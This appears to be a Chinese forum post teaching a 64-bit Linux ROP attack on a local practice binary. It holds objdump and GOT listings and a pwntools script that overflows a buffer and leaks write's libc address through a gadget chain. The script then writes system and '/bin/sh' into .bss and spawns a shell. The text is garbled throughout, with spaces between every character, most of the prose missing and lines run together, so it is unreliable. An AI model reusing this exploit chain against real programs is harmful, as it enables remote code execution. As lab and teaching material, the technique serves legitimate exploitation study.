0 :         4 1   5 e                                         p o p         % r 1 4     4 0 0 6 2 2 :         4 1   5 f                                         p o p         % r 1 5     4 0 0 6 2 4 :         c 3                                               r e t q           4 0 0 6 2 5 :         9 0                                               n o p     4 0 0 6 2 6 :         6 6   2 e   0 f   1 f   8 4   0 0   0 0           n o p w       % c s : 0 x 0 ( % r a x , % r a x , 1 )     4 0 0 6 2 d :         0 0   0 0   0 0
2 .     / b i n / s h s y s t e m ( / b i n / s h ) , / b i n / s h   b s s   r d i = r 1 5 d = p a r a m 1   r 1 5 d   3 2 - b i t   r d i   6 4 - b i t   / b i n / s h   b s s 3 2 - b i t :   0 x 4 0 0 6 1 a     0 x 4 0 0 6 0 0   使   r b x = 0   = r o p 使   l i b c . s o   s y s t e m _ a d d r , g e t s h e l l , w r i t e _ a d d r w r i t e _ a d d r   - w r i t e _ s t a t i c / l i b c . s y m b o l s [ w r i t e ] s y s t e m _ s t a t i c / l i b c . s y m b o l s [ s y s t e m ]     s y s t e m _ a d d r m a i n g o t _ r e a d ( r d i = 0 , b s s _ a d d r , 1 6 ) , , ,   s y s t e m _ a d d r , / b i n / s h , m a i n b s s _ a d d r ( b s s _ a d d r + 8 )   - >   s y s t e m _ a d d r ( b i n s h _ a d d r ) R O P g o t : 0 0 0 0 7 f 7 6 : f 3 c 0 b d 5 7 | 2 f   6 2   6 9   6 e   2 f   7 3   6 8   0 0   6 5                                           | / b i n / s h . e               | / /   / d e v / s t d i n         f d / 0 / /   / d e v / s t d o u t       f d / 1 / /   / d e v / s t d e r r       f d / 2 r b x , r b p , r 1 2 , r 1 3 , r 1 4 , r 1 5 r d x = r 1 3   r s i = r 1 4   r d i = r 1 5 d   c a l l   c a l l q   * ( % r 1 2 , % r b x , 8 ) c a l l q   * ( r 1 2 + r b x * 8 ) c a l l q   * ( r 1 2 ) g o t _ w r i t e ( r d i = 1 , r s i = g o t _ w r i t e , r d x = 8 ) g o t _ r e a d ( r d i = 0 , b s s _ a d d r , 8 ) g o t _ r e a d ( r d i = 0 , b s s _ a d d r + 8 , 8 ) p a n d a @ u b u n t u : ~ / D e s k t o p / t e s t $   o b j d u m p   - R   l i n u x _ x 6 4 _ t e s t 3 l i n u x _ x 6 4 _ t e s t 3 :           f i l e   f o r m a t   e l f 6 4 - x 8 6 - 6 4 D Y N A M I C   R E L O C A T I O N   R E C O R D S O F F S E T                       T Y P E                             V A L U E   0 0 0 0 0 0 0 0 0 0 6 0 0 f f 8   R _ X 8 6 _ 6 4 _ G L O B _ D A T     _ _ g m o n _ s t a r t _ _ 0 0 0 0 0 0 0 0 0 0 6 0 1 0 1 8   R _ X 8 6 _ 6 4 _ J U M P _ S L O T     w r i t e @ G L I B C _ 2 . 2 . 5 0 0 0 0 0 0 0 0 0 0 6 0 1 0 2 0   R _ X 8 6 _ 6 4 _ J U M P _ S L O T     r e a d @ G L I B C _ 2 . 2 . 5 0 0 0 0 0 0 0 0 0 0 6 0 1 0 2 8   R _ X 8 6 _ 6 4 _ J U M P _ S L O T     _ _ l i b c _ s t a r t _ m a i n @ G L I B C _ 2 . 2 . 5 # ! / u s r / b i n / p y t h o n #   - * -   c o d i n g :   U T F - 8   - * - f r o m   p w n   i m p o r t   * l i b c _ e l f   =   E L F ( " / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o . 6 " ) l i n u x _ x 6 4 _ t e s t 3 _ e l f   =   E L F ( " . / l i n u x _ x 6 4 _ t e s t 3 " ) #   p   =   p r o c e s s ( " . / l i n u x _ x 6 4 _ t e s t 3 " ) p   =   r e m o t e ( " 1 2 7 . 0 . 0 . 1 " , 1 0 0 0 1 ) p o p _ r b x _ r b p _ r 1 2 _ r 1 3 _ r 1 4 _ r 1 5 _ r e t   =   0 x 4 0 0 6 1 a p r i n t ( " [ + ]   p o p _ r b x _ r b p _ r 1 2 _ r 1 3 _ r 1 4 _ r 1 5 _ r e t   =   0 x % x "   %   p o p _ r b x _ r b p _ r 1 2 _ r 1 3 _ r 1 4 _ r 1 5 _ r e t ) r d x _ r s i _ r d i _ c a l l r 1 2 _ r e t   =   0 x 4 0 0 6 0 0 p r i n t ( " [ + ]   r d x _ r s i _ r d i _ c a l l r 1 2 _ r e t   =   0 x % x "   %     r d x _ r s i _ r d i _ c a l l r 1 2 _ r e t ) " " " 0 0 0 0 0 0 0 0 0 0 6 0 1 0 1 8   R _ X 8 6 _ 6 4 _ J U M P _ S L O T     w r i t e @ G L I B C _ 2 . 2 . 5 0 0 0 0 0 0 0 0 0 0 6 0 1 0 2 0   R _ X 8 6 _ 6 4 _ J U M P _ S L O T     r e a d @ G L I B C _ 2 . 2 . 5 " " " g o t _ w r i t e   = 0 x 0 0 0 0 0 0 0 0 0 0 6 0 1 0 1 8 p r i n t ( " [ + ]   g o t _ w r i t e   =   0 x % x "   %   g o t _ w r i t e ) g o t _ w r i t e 2 = l i n u x _ x 6 4 _ t e s t 3 _ e l f . g o t [ " w r i t e " ] p r i n t ( " [ + ]   g o t _ w r i t e 2   =   0 x % x "   %     g o t _ w r i t e 2 )
g o t _ r e a d   =   0 x 0 0 0 0 0 0 0 0 0 0 6 0 1 0 2 0 g o t _ r e a d 2 = l i n u x _ x 6 4 _ t e s t 3 _ e l f . g o t [ " r e a d " ] " " " 0 0 0 0 0 0 0 0 0 0 4 0 0 5 8 7   < m a i n > :     4 0 0 5 8 7 :         5 5                                               p u s h       % r b p " " " m a i n _ s t a t i c   =   0 x 0 0 0 0 0 0 0 0 0 0 4 0 0 5 8 7 #   c a l l   g o t _ w r i t e ( r d i = 1 , r s i = g o t _ w r i t e ,   r d x = 8 ) #   r d i = r 1 5 d = p a r a m 1     r s i = r 1 4 = p a r a m 2   r d x = r 1 3 = p a r a m 3     r 1 2 = c a l l _ a d d r e s s p a y l o a d 1   = " A " * 1 3 6   +   p 6 4 ( p o p _ r b x _ r b p _ r 1 2 _ r 1 3 _ r 1 4 _ r 1 5 _ r e t )   #   r e t   a d d r e s s     :   p 6 4 ( p o p _ r b x _ r b p _ r 1 2 _ r 1 3 _ r 1 4 _ r 1 5 _ r e t ) p a y l o a d 1   + =   p 6 4 ( 0 ) +   p 6 4 ( 1 )                                                               #   r b x = 0   r b p = 1     :   p 6 4 ( 0 ) +   p 6 4 ( 1 ) p a y l o a d 1   + =   p 6 4 ( g o t _ w r i t e )                                                               #   c a l l _ a d d r e s s   :   g o t _ w r i t e p a y l o a d 1   + =   p 6 4 ( 8 )                                                                               #   p a r a m 3               :   8 p a y l o a d 1   + =   p 6 4 ( g o t _ w r i t e )                                                               #   p a r a m 2               :   g o t _ w r i t e p a y l o a d 1   + =   p 6 4 ( 1 )                                                                               #   p a r a m 1               :   1 p a y l o a d 1   + =   p 6 4 ( r d x _ r s i _ r d i _ c a l l r 1 2 _ r e t )                                   #   c a l l   r 1 2 p a y l o a d 1   + =   p 6 4 ( 0 ) * 7                                                                           #   a d d         $ 0 x 8 , % r s p   #   6   p o p p a y l o a d 1   + =   p 6 4 ( m a i n _ s t a t i c )                                                           #   r e t u r n   m a i n p . r e c v u n t i l ( ' H e l l o ,   W o r l d n ' ) p r i n t ( " [ + ]   s e n d   p a y l o a d 1   c a l l   g o t _ w r i t e ( r d i = 1 , r s i = g o t _ w r i t e ,   r d x = 8 ) " ) p . s e n d ( p a y l o a d 1 ) s l e e p ( 1 ) w r i t e _ a d d r   =   u 6 4 ( p . r e c v ( 8 ) ) p r i n t ( " [ + ]   w r i t e _ a d d r   =   0 x % x "   %   w r i t e _ a d d r ) w r i t e _ s t a t i c   =   l i b c _ e l f . s y m b o l s [ ' w r i t e ' ] s y s t e m _ s t a t i c   =   l i b c _ e l f . s y m b o l s [ ' s y s t e m ' ] s y s t e m _ a d d r   =   w r i t e _ a d d r   -   ( w r i t e _ s t a t i c   -   s y s t e m _ s t a t i c ) p r i n t ( " [ + ]   s y s t e m _ a d d r   =   0 x % x "   %   s y s t e m _ a d d r ) " " "     [ 2 6 ]   . b s s                             N O B I T S                       0 0 0 0 0 0 0 0 0 0 6 0 1 0 4 0     0 0 0 0 1 0 4 0               0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8     0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     W A               0           0           1 " " " b s s _ a d d r   =   0 x 0 0 0 0 0 0 0 0 0 0 6 0 1 0 4 0 b s s _ a d d r 2   =   l i n u x _ x 6 4 _ t e s t 3 _ e l f . b s s ( ) p r i n t ( " [ + ]   b s s _ a d d r     =   0 x % x "   %   b s s _ a d d r ) p r i n t ( " [ + ]   b s s _ a d d r 2   =   0 x % x "   %   b s s _ a d d r 2 ) #   c a l l   g o t _ r e a d ( r d i = 0 , r s i = b s s _ a d d r ,   r d x = 1 6 ) #   g o t _ r e a d ( r d i = 0 , r s i = b s s _ a d d r ,   r d x = 8 )                           w r i t e   s y s t e m #   g o t _ r e a d ( r d i = 0 , r s i = b s s _ a d d r + 8 ,   r d x = 8 )                       w r i t e   / b i n / s h #   r d i = r 1 5 d = p a r a m 1     r s i = r 1 4 = p a r a m 2   r d x = r 1 3 = p a r a m 3     r 1 2 = c a l l _ a d d r e s s p a y l o a d 2   =   " A " * 1 3 6   +   p 6 4 ( p o p _ r b x _ r b p _ r 1 2 _ r 1 3 _ r 1 4 _ r 1 5 _ r e t )         #   r e t   a d d r e s s     :   p 6 4 ( p o p _ r b x _ r b p _ r 1 2 _ r 1 3 _ r 1 4 _ r 1 5 _ r e t ) p a y l o a d 2   + =   p 6 4 ( 0 ) +   p 6 4 ( 1 )                                                                       #   r b x = 0   r b p = 1     :   p 6 4 ( 0 ) +   p 6 4 ( 1 ) p a y l o a d 2   + =   p 6 4 ( g o t _ r e a d )                                                                         #   c a l l _ a d d r e s s   :   g o t _ r e a d p a y l o a d 2   + =   p 6 4 ( 1 6 )                                                                                     #   p a r a m 3               :   1 6 p a y l o a d 2   + =   p 6 4 ( b s s _ a d d r )                                                                         #   p a r a m 2               :   b s s _ a d d r p a y l o a d 2   + =   p 6 4 ( 0 )                                                                                       #   p a r a m 1               :   0 p a y l o a d 2   + =   p 6 4 ( r d x _ r s i _ r d i _ c a l l r 1 2 _ r e t )                                           #   c a l l   r 1 2 p a y l o a d 2   + =   p 6 4 ( 0 ) * 7                                                                                   #   a d d         $ 0 x 8 , % r s p       6   p o p p a y l o a d 2   + =   p 6 4 ( m a i n _ s t a t i c ) p . r e c v u n t i l ( ' H e l l o ,   W o r l d n ' ) p r i n t ( " [ + ]   s e n d   p a y l o a d 2   c a l l   g o t _ r e a d ( r d i = 0 , r s i = b s s _ a d d r ,   r d x = 1 6 ) " ) #   r a w _ i n p u t ( ) p . s e n d ( p a y l o a d 2 ) #   r a w _ i n p u t ( ) p . s e n d ( p 6 4 ( s y s t e m _ a d d r )   +   " / b i n / s h 0 " )     # s e n d   / b i n / s h 0 " " " 0 0 0 0 0 0 0 0 : 0 0 6 0 1 0 4 0 | 0 0 0 0 7 f 1 1 1 b 9 4 1 3 9 0 | . . . . . . . . | 0 0 0 0 0 0 0 0 : 0 0 6 0 1 0 4 8 | 0 0 6 8 7 3 2 f 6 e 6 9 6 2 2 f | / b i n / s h . | " " " s l e e p ( 1 ) p . r e c v u n t i l ( ' H e l l o ,   W o r l d n ' ) #   c a l l   b s s _ a d d r ( r d i = b s s _ a d d r + 8 )   s y s t e m _ a d d r ( r d i = b i n s h _ a d d r ) #   r d i = r 1 5 d = p a r a m 1     r s i = r 1 4 = p a r a m 2   r d x = r 1 3 = p a r a m 3     r 1 2 = c a l l _ a d d r e s s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则